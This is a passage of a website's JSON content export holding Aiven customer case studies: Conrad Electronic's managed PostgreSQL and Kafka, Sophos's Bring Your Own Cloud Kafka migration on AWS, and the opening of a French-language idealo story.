Internet","value":"software-and-internet"}],"publishedAt":"2021-10-18T10:59:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Aiven has built a solid observability solution that our customers can also adopt by using the open source building blocks provided by Aiven. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-86201ac0569e596449d453e806ce66e01cb38db0-1200x630-jpg","_type":"reference"}},"metaTitle":"Open source tools provide observability for Aiven"},"services":[{"_key":"7ae69038ab1f","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"31f897bf9ded","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},{"_key":"c680b9777541","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/open-source-tools-provide-observability-for-aiven"},"title":"Aiven"}
{"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841__i18n_de","_type":"reference"}],"_createdAt":"2023-06-26T06:58:02Z","_id":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_rev":"TZseqjnC3npGl19UXqQ0Zp","_type":"caseStudy","_updatedAt":"2024-11-28T15:53:57Z","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"e92a333be4f8","_type":"block","children":[{"_key":"11f398737b170","_type":"span","marks":[],"text":"German-based Conrad Electronic provides an advanced sourcing platform serving 21 million customers worldwide. Its mission is to become the leading European B2B sourcing platform for technical supplies and its e-commerce database is at the heart of its business. With its online platform fast expanding and the associated data exploding, the retailer needed its data infrastructure to be faster, more robust and scalable. Conrad selected Aiven to manage open source data technologies PostgreSQL®, Apache Kafka®, OpenSearch® and M3 on Google Cloud. The e-commerce platform now benefits from real-time data streaming and a highly stable database handling 11.2 million requests an hour, ensuring its customers enjoy a fast, superior experience. With Aiven managing the cloud data infrastructure, Conrad’s developers can focus on what they do best — delivering even more customer value."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b84fa7c8528b","_type":"block","children":[{"_key":"17de60e436460","_type":"span","marks":[],"text":"Since 1923, Conrad Electronic have been a reliable partner when it comes to technology and Electronics. Today, as a sourcing platform, the company provides all parts for a successful sourcing of technical supplies. At Conrad, business customers get exactly what makes their project or business a success: a wide and deep product range comprising nine million products to choose from, customer-centric solutions and services, and face-to-face expert advice. The company has successfully evolved from a traditional B2C retailer to an international B2B sourcing platform. It sells more than 9 million products from 6,000 brands on conrad.de ranging from computing equipment and tools to batteries and automation products. The Conrad group achieves more than €1 billion annual turnover and has its sights set on becoming the leading European B2B sourcing platform for technical supplies."}],"markDefs":[],"style":"normal"}],"title":"Advanced B2B sourcing platform selling 9 million products from 6,000 brands on conrad.de","variant":"oneColumn"},{"_key":"19308632851c","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850-webp","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"96edccc4787a","_type":"block","children":[{"_key":"02aeac9c1a040","_type":"span","marks":[],"text":"Conrad’s e-commerce platform provides its 21 million customers worldwide with a quick and convenient online shopping experience. They can compare products from all the brands and buy everything they need in one place.\n\nConrad’s database is central to its e-commerce operations, storing critical data like users, wish lists, orders, SKUs and product prices. “Our database is the heart of our e-commerce platform. Without it, nothing else works,” says Janek Wonner, Head of SRE and Cloud Technology, Conrad Electronic.\n\nUntil 2020, Conrad used self-managed PostgreSQL running on Google Cloud for its e-commerce database. With its platform expanding, the retailer wanted to upgrade to a faster, more robust version. However, due to the limited resources, there were concerns about the practicality of a successful database upgrade, especially considering the specialized expertise required for upgrading the PostgreSQL system.\n\n“We can’t risk any disruption to the database — no downtime is allowed. If the e-commerce platform is offline then we can’t process any orders. Every minute costs money,” says Wonner.\n\nWonner considered, but quickly discounted, the option of continuing with self-managed PostgreSQL. The upgrade and subsequent management would require a huge amount of resources and skills Conrad simply didn’t have at the time."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL upgrade risks e-commerce marketplace interruption","variant":"oneColumn"},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"62f40d0440e3","_type":"block","children":[{"_key":"e97eb77668890","_type":"span","marks":[],"text":"Wonner evaluated PostgreSQL managed services from five different vendors against a wide range of criteria and Aiven came out top. “There were many reasons for choosing Aiven but if I had to pick the top three, I’d say great people, ease-of-use and fair, transparent pricing,” says Wonner. “We found the whole Aiven set-up and the team really easy to work with. We contacted lots of vendors for Proof of Concepts and Aiven was by far the easiest and fastest to get started with.”\n\nThe transition to Aiven and subsequent PostgreSQL upgrade went seamlessly. This was helped by the integration of Aiven services with Google Cloud. “It’s great we can get open source data services like PostgreSQL from Aiven already set-up on Google Cloud. It saves us time and effort,” says Wonner. His team ran several trials and load tests and then Aiven ran compatibility checks to determine necessary adjustments before the upgrade. Conrad then imported its whole database into an Aiven instance, and performed several tests which showed the new database to be much faster. It was put into production and quickly embraced by Wonner’s team.\n\n“Aiven has an elegant, simple dashboard which our developers find easy to understand and use. We can spin up new clusters with a couple of clicks. Aiven makes PostgreSQL really easy for us,” says Wonner.\n\nAt that time, the Conrad business was still expanding and the company started facing other data infrastructure challenges. As the number of marketplace sellers and products grew, the amount of product data increased exponentially. “We needed an architecture to better support the exploding volume of data that was moving between all our applications. We liked the look of Apache Kafka for real-time data streaming but knew it was tricky to manage,” says Alexander Kaiser, Head of Platform Architecture.\n\nGiven the success of Aiven for PostgreSQL, the team decided to try out Aiven for Apache Kafka on Google Cloud. Again, the transition went smoothly. “We were worried we’d have to do something special to get it working with Aiven, but that wasn’t the case,” says Diego Irismar da Costa, Platform Architect, Conrad Electronic. “We like that it’s the open-source version of Apache Kafka, not a customized version with vendor lock-in. If we research online how to use Kafka, it applies to Aiven for Apache Kafka. That makes it really simple for us.”"}],"markDefs":[],"style":"normal"}],"title":"Seamless transition to Aiven platform on Google Cloud","variant":"oneColumn"},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"bd92afcf8bfd","_type":"block","children":[{"_key":"7aa7df29c84d0","_type":"span","marks":[],"text":"Since upgrading to fully managed Aiven for PostgreSQL, Conrad is benefiting from a high-performance, fast and reliable e-commerce database. It handles a huge volume of traffic — 11.2 million requests an hour — and can easily scale to accommodate peaks in demand. Wonner’s team no longer worries about maintenance and upgrades as this is managed by Aiven with an uptime SLA of 99.99%.\n\nAiven’s PostgreSQL integrates with key e-commerce applications. This includes Conrad’s e-procurement solutions designed to build customer loyalty by simplifying the sourcing process for B2B customers. For example, the database communicates with Conrad’s Open Catalog Interface (OCI). This allows customers to integrate the Conrad marketplace with their SAP procurement system, enabling them to order products and take advantage of tailored offers and discounts more conveniently.\n\nAnother benefit is that Conrad can use the Google Cloud VPC network peering with Aiven which achieves latency below one millisecond. “We have a huge amount of database calls going on so the incredibly low level of latency enabled by the Google Cloud VPC network peering is important to us. It keeps the e-commerce platform operating at speed resulting in a better experience for the customer,” says Wonner."}],"markDefs":[],"style":"normal"}],"title":"E-commerce database handles 11.2 million requests an hour while delivering 99.99% uptime and latency below 1 millisecond","variant":"oneColumn"},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9802c7526fa1","_type":"block","children":[{"_key":"4cc5c47999f60","_type":"span","marks":[],"text":"By using Aiven for Apache Kafka, Conrad can scale to accommodate the increase in data moving at speed around its e-commerce platform, and key integrations have been straight-forward. For example, Conrad now uses Apache Kafka to stream data from its Product Information Management (PIM) system to its product service system in real-time which delivers product information to customers via an API.\n\n“Aiven for Apache Kafka is now our number one technology for managing information flow between the many different systems underpinning our e-commerce marketplace,” says Kaiser. “It’s fast, reliable and scalable.”\n\nConrad has also started using Aiven for OpenSearch and Aiven for M3. These services are primarily used to gather logs and metrics about Apache Kafka and PostgreSQL, which it then visualizes with Grafana.\n\n“Having this combination of managed services from Aiven brings great value. We’ve been able to easily add new services without the hassle of onboarding a new vendor. We can operate everything from one place. The costs are transparent and it's easy for us to see the price of using other services as we plan ahead,” says Wonner."}],"markDefs":[],"style":"normal"}],"title":"Continuous, real-time data streaming between applications","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"0618ec38bd60","_type":"block","children":[{"_key":"0fb9387e0a5c0","_type":"span","marks":[],"text":"Conrad now has a highly stable and scalable data infrastructure underpinning its e-commerce platform which ensures that, during the 200 million visits made each year on its platforms, customers always enjoy a fast, reliable experience. With the day-to-day management handled by Aiven, Conrad’s engineers and developers can focus on making the customer experience even better.\n\n“We have a small team looking after PostgreSQL, Kafka and MongoDB. If it were all self-managed, we’d need to double our team. Aiven enables our team to focus on what brings value to our customers. With a limited number of people, we’re achieving great things. As the company keeps growing, Aiven will remain a solid partner,” says Kaiser."}],"markDefs":[],"style":"normal"}],"title":"Achieving great things together — today and tomorrow","variant":"oneColumn"}],"heroSubtitle":"International sourcing platform for technical supplies delivers more customer value while Aiven manages its cloud data infrastructure","heroTitle":"Conrad Electronic Expands E‑Commerce Platform with Aiven","image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"publishedAt":"2023-06-26T10:41:00.000Z","seo":{"_type":"metaData","metaDescription":"International sourcing platform for technical supplies delivers more customer value while Aiven manages its cloud data infrastructure","metaImage":{"_type":"mainImage","asset":{"_ref":"image-367bca89312b776def9b418373f2d59eb54d6d70-3295x1724-png","_type":"reference"}},"metaTitle":"Conrad Electronic Expands E-Commerce Platform with Aiven"},"slug":{"_type":"slug","current":"/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven"},"title":"Conrad Electronic Expands E-Commerce Platform with Aiven"}
{"__i18n_lang":"en","_createdAt":"2024-10-10T14:51:40Z","_id":"7b593397-e40c-408b-a5bf-a22b349e99ed","_rev":"exgZYl4YMpSEzTrzwwDdtY","_type":"caseStudy","_updatedAt":"2024-10-11T07:56:44Z","company":{"_ref":"1XH8KZN8aj668zBCdJQaTs","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"9d244ff1c91f","_type":"block","children":[{"_key":"77e44d6b67d00","_type":"span","marks":[],"text":"Sophos is a global leader of advanced security solutions for defeating cyberattacks. Already one of the largest pure-play cybersecurity providers in the world, the company continues to expand and is focused on delivering cybersecurity as a service. Its flagship product, Sophos Central, is underpinned by an advanced data platform which relies on Aiven for Apache Kafka on AWS to move vast amounts of data at speed. By adopting Aiven’s Bring Your Own Cloud (BYOC) model, Sophos has kept the benefits of using the Aiven service while taking advantage of compute savings plans in its AWS account and gaining granular control over the Aiven managed service deployments and networking."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"bca678accb79","_type":"block","children":[{"_key":"68e2460fa8af0","_type":"span","marks":[],"text":"Sophos is on a mission to develop powerful and intuitive products and services that provide the world's most effective cybersecurity for organizations of any size. Sophos defends more than 600,000 organizations and more than 100 million users from adversaries, ransomware, phishing, malware and more."}],"markDefs":[],"style":"normal"},{"_key":"680953e0e231","_type":"block","children":[{"_key":"87920cbd92d00","_type":"span","marks":[],"text":"In a multi-threat world, where cyberattackers constantly evolve their threat vectors, the company continues to innovate. It is particularly focused on delivering cybersecurity as a service — so it can give even more organizations the necessary protection from attack."}],"markDefs":[],"style":"normal"}],"title":"A mission to protect","topOverlap":false,"variant":"oneColumn"},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"1d4d8c53c831","_type":"block","children":[{"_key":"0ef3d06b4f5d0","_type":"span","marks":[],"text":"Cybersecurity is a data business. Sophos’s ability to provide early, comprehensive threat detection — and response — depends on its ability to rapidly handle phenomenal and increasing amounts of data every day. As cyber threats evolve, becoming more intelligent and more complex, Sophos must constantly adapt to new trends."}],"markDefs":[],"style":"normal"},{"_key":"abf3c8362d2f","_type":"block","children":[{"_key":"595bde7d71fb0","_type":"span","marks":[],"text":"In 2018, Sophos launched its Cloud Management SaaS product, Sophos Central, which combined real-time information sharing between products with automated incident response and a unified management console. By aggregating threat, health and security information across Sophos’s network of customer products, applications and end-points, Sophos Central created much larger data pools. This provided deeper insights into potential cyberattacks, enabling Sophos analysts and customers to respond faster and more effectively to emerging threats."}],"markDefs":[],"style":"normal"}],"title":"A data-intensive and highly-competitive business","topOverlap":false,"variant":"oneColumn"},{"_key":"063f2b08bc3e","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-364de6f9171803183a824acb19a26af6f70a1a44-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"55833302bf36","_type":"block","children":[{"_key":"2aba194021bb0","_type":"span","marks":[],"text":"When the company created Sophos Central, it had to build a powerful new data platform to underpin it. A key component was Apache Kafka® which ingests and processes all the streaming data in real time. Sophos chose Kafka as it’s considered to be the best-in-class solution. Due to the high volume of data and critical nature of the pipelines, the company decided not to manage Kafka internally but instead chose Aiven’s managed Kafka service."}],"markDefs":[],"style":"normal"},{"_key":"7b81b35fd0f8","_type":"block","children":[{"_key":"77eb9d6315010","_type":"span","marks":[],"text":"“We enjoy support from the Aiven team which is responsible for versioning, upgrades and so on,” says Brian Campbell, Senior Director Software Engineering at Sophos. “I have a team of 30 people on the data platform. If we were managing the Kafka clusters in house, I’d need another team of five to six people.”"}],"markDefs":[],"style":"normal"},{"_key":"724dbbb7b867","_type":"block","children":[{"_key":"2feb3fefe99b0","_type":"span","marks":[],"text":"Sophos enriches its Kafka data streams by running sophisticated analytics, rules engines, AI models and other elements to gain additional context, insights and value. This helps identify and report anomalies and make a diagnosis about the nature of the threat, the level of risk, and how best to react."}],"markDefs":[],"style":"normal"},{"_key":"81b91c2bd793","_type":"block","children":[{"_key":"3820394f28e00","_type":"span","marks":[],"text":"“We handle complex processing, with multiple steps involved in data ingestion and enrichment. Kafka plays a crucial role in ensuring both reliable delivery and data resiliency throughout the process,\" says Campbell."}],"markDefs":[],"style":"normal"}],"title":"Apache Kafka: the best-in-class solution","topOverlap":false,"variant":"oneColumn"},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"24179837499e","_type":"block","children":[{"_key":"df91d1ab14100","_type":"span","marks":[],"text":"By early 2024, Campbell’s team had 56 Kafka clusters in production and another 22 in pre-production environments running across nine AWS regions globally. “Our Kafka pipelines had grown to the point that they ran in nine AWS regions, and in just one region, we had 50 terabytes of data running through them every day, increasing by 5% per month,” says Campbell. “Fortunately, Aiven proved that it could scale with us without any service degradation.”"}],"markDefs":[],"style":"normal"},{"_key":"9cfa94c7c7e4","_type":"block","children":[{"_key":"6631c7925dc70","_type":"span","marks":[],"text":"However, Sophos Central had high operational costs, with Kafka itself a major contributor. The company was constantly looking for ways to reduce operational expenses, considering it a competitive advantage that helps bring down the overall unit costs of its products and services."}],"markDefs":[],"style":"normal"},{"_key":"ba92e2c89a5a","_type":"block","children":[{"_key":"070cd02cf7ef0","_type":"span","marks":[],"text":"Of course, any reduction in cost could not come at the expense of performance. “Kafka is mission critical,” says Campbell. “Any data loss compromises our ability to detect and prevent future threats from cyberattacks.”"}],"markDefs":[],"style":"normal"}],"title":"Kafka pipelines handle 50 terabytes of data in each region, every day, increasing by 5% per month","topOverlap":false,"variant":"oneColumn"},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"076661dcec72","_type":"block","children":[{"_key":"3784ef65816e0","_type":"span","marks":[],"text":"Initially, the Aiven for Kafka service was deployed on Aiven-managed infrastructure on AWS. In this arrangement, Sophos was not able to apply discounted pricing from AWS to Kafka."}],"markDefs":[],"style":"normal"},{"_key":"85f953ad7525","_type":"block","children":[{"_key":"16a967f8e75d0","_type":"span","marks":[],"text":"Sophos looked into the Aiven’s BYOC model"},{"_key":"16a967f8e75d1","_type":"span","marks":["em"],"text":" "},{"_key":"16a967f8e75d2","_type":"span","marks":[],"text":"on AWS as a way of reducing its Kafka-related costs without sacrificing performance or scalability. With this model, Aiven would continue to manage Kafka, but importantly the clusters would run on cloud infrastructure within Sophos’s AWS account. This would allow Sophos to apply its AWS compute savings plans to the Aiven service."}],"markDefs":[],"style":"normal"},{"_key":"e134d1f42362","_type":"block","children":[{"_key":"d78e4f2a10990","_type":"span","marks":[],"text":"Sophos began its BYOC migration on AWS with proofs of concept and testing before transitioning to live migration. Aiven's self-service automation for AWS BYOC streamlined the process, enabling a rapid and successful migration."}],"markDefs":[],"style":"normal"},{"_key":"e6adc1aebe8b","_type":"block","children":[{"_key":"256bd1dfebd50","_type":"span","marks":[],"text":"“We migrated all 79 Kafka clusters with BYOC, including some very large instances, across the nine AWS regions with zero downtime and zero data loss. And we did it in a single month, rather than the four months we’d anticipated,” says Campbell."}],"markDefs":[],"style":"normal"},{"_key":"fea1e4fb0f0d","_type":"block","children":[{"_key":"502424f2ab6e0","_type":"span","marks":[],"text":"“Data loss is unacceptable in our business. If we had seen any data loss or downtime from the migration, it would have compromised our ability to safeguard our customers. Instead, all of them remain protected at every stage of the BYOC AWS migration.”"}],"markDefs":[],"style":"normal"},{"_key":"7a3604bb0c56","_type":"block","children":[{"_key":"481b243a22440","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Sophos adopts Bring Your Own Cloud from Aiven","topOverlap":false,"variant":"oneColumn"},{"_key":"f18d0b895aae46391be4463898a7d3c6","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"ad0e1d709ae0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"21306fbede57","_type":"block","children":[{"_key":"f69648ca6aa70","_type":"span","marks":[],"text":"With the successful transition, Sophos is now taking advantage of an AWS savings plan. “Aiven’s BYOC on AWS solution has saved us between 30% and 40% of our total spend on the mission-critical Aiven for Kafka service,” says Campbell. “And cost savings translate into competitive advantage for us.”"}],"markDefs":[],"style":"normal"},{"_key":"c59c6f0c82f7","_type":"block","children":[{"_key":"6b1a26c92c2d0","_type":"span","marks":[],"text":"All this was achieved with no performance degradation, which means Sophos has maintained its mean-time-to-detect (MTTD) of an attack to an industry-beating five minutes. Security is enhanced with BYOC on AWS by enabling more strategic and controlled access restrictions. For instance, workloads can be isolated from external networks, reducing potential vulnerabilities."}],"markDefs":[],"style":"normal"},{"_key":"d662ffab4e1a","_type":"block","children":[{"_key":"5a0f1e0af47e0","_type":"span","marks":[],"text":"Overall, Sophos has successfully moved to a more cost-effective cloud data platform, capable of handling its projected 5% month-on-month growth in data volumes and enabling it to maintain its competitive edge in the ever-evolving security landscape. “Since moving Aiven for Kafka to a BYOC on AWS model, we’re better placed to outmaneuver the competition, stay ahead of threat actors and keep protecting our customers.”"}],"markDefs":[],"style":"normal"}],"title":"More data, lower costs and continuously high performance ","topOverlap":false,"variant":"oneColumn"},{"_key":"b3e6f3db964a8993c653993613f9f540","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"977169b30609","_type":"block","children":[{"_key":"64ab76830d610","_type":"span","marks":[],"text":"As data volumes continue to grow, Sophos will continue to rely on Aiven for Kafka, and its BYOC on AWS model, to manage its data flows and power its cybersecurity solutions. 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{"__i18n_base":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2023-11-09T10:56:35Z","_id":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_fr","_rev":"lbpMA3MBWy0eIji4xb3VMs","_type":"caseStudy","_updatedAt":"2024-12-08T18:36:50Z","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"a3bca43e0ddd","_type":"block","children":[{"_key":"1bf4253839c50","_type":"span","marks":[],"text":"En tant que l'une des principales plateformes de comparaison en ligne pour les produits, les voyages et les vols en Europe, "},{"_key":"85309132d778","_type":"span","marks":["abf2c1d6ef4f"],"text":"idealo"},{"_key":"d62816e6c8b2","_type":"span","marks":[],"text":" est une entreprise axée sur les données. Faisant partie d'"},{"_key":"f31448f157df","_type":"span","marks":["9a5640fa0ee2"],"text":"Axel Springer SE"},{"_key":"962fa2596307","_type":"span","marks":[],"text":", l'entreprise ambitionne de renforcer sa présence à travers l'Europe. Cependant, avec une infrastructure de données sur site qui peinait à évoluer, idealo a décidé que le passage à AWS était une partie essentielle de sa stratégie de croissance. idealo a choisi Aiven pour gérer son infrastructure Apache Kafka® dans le cloud, soulageant ainsi les équipes internes de la gestion et leur permettant de se concentrer sur l'innovation, consolidant ainsi sa position sur un marché hautement compétitif."}],"markDefs":[{"_key":"abf2c1d6ef4f","_type":"link","href":"https://idealo.de"},{"_key":"9a5640fa0ee2","_type":"link","href":"https://www.axelspringer.com/en/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"d452666f8f1d2243cd5adfe0884a3615","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-a878846b5cf72b1f94a996df2b11be9fbb8b6546-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"17a6d7672f37","_type":"block","children":[{"_key":"1f03d7ea7ea80","_type":"span","marks":[],"text":"idealo a commencé en 2000 avec pour mission d'aider les utilisateurs à prendre les meilleures décisions d'achat grâce à des prix transparents. Elle fait partie du géant des médias et de la technologie Axel Springer SE depuis 2007. Chaque jour, idealo analyse des milliards d'offres provenant de boutiques de toutes tailles et attribue chaque offre à un produit spécifique que les utilisateurs peuvent facilement trouver dans l'application et sur le site web idealo. L'entreprise reçoit en moyenne 76 millions de visites par mois rien qu'en Allemagne et affiche plus de 500 millions d'offres provenant d'environ 50 000 boutiques, ce qui en fait l'un des sites de commerce électronique les plus populaires en Allemagne et une plateforme leader dans le domaine très concurrentiel de la comparaison de prix. idealo s'est également étendu à la France, au Royaume-Uni, à l'Italie, à l'Autriche et à l'Espagne, et continue d'innover et de diversifier son offre pour rester en tête de la concurrence et atteindre son objectif de devenir le numéro un en Europe."}],"markDefs":[],"style":"normal"}],"title":"Prix transparents pour les biens de consommation à travers l'Europe","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d751e843c77b644112826d961c772d980f60021-1800x668-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"54fc652f9811","_type":"block","children":[{"_key":"016c41d0d3850","_type":"span","marks":[],"text":"Au cours des deux dernières décennies, les sites de commerce électronique et de comparaison de prix d'idealo ont considérablement grandi. L'entreprise a ajouté des commerçants et des lignes de produits, s'est étendue à différents marchés européens et a répondu aux tendances changeantes du commerce de détail en ligne, comme le Black Friday. À mesure que l'entreprise se développait, son infrastructure informatique subissait de plus en plus de pression, notamment pendant les périodes de trading à fort volume comme Noël.\n\n« Nous avons pris la décision stratégique de déplacer notre infrastructure informatique vers AWS pour une meilleure scalabilité. Notre centre de données ne pouvait pas fournir la capacité nécessaire pour développer l'entreprise et soutenir les projets de nos équipes », déclare Wanis Fahmy, Ingénieur cloud senior chez idealo.\n\nChaque jour, idealo collabore avec des milliers de commerçants qui partagent des informations sur leurs produits listés – y compris les prix, les descriptions et les images. idealo traite, analyse, classe et partage ensuite ces données sur son site web. « Avec 50 000 commerçants et 500 millions d'offres de produits, nous gérons d'énormes quantités de données. Avoir une infrastructure de données rapide et fiable est une partie critique de notre modèle commercial. Les gens veulent le meilleur prix maintenant, pas il y a cinq minutes. Les retards, les données inexactes ou les interruptions de service pourraient nuire à la confiance 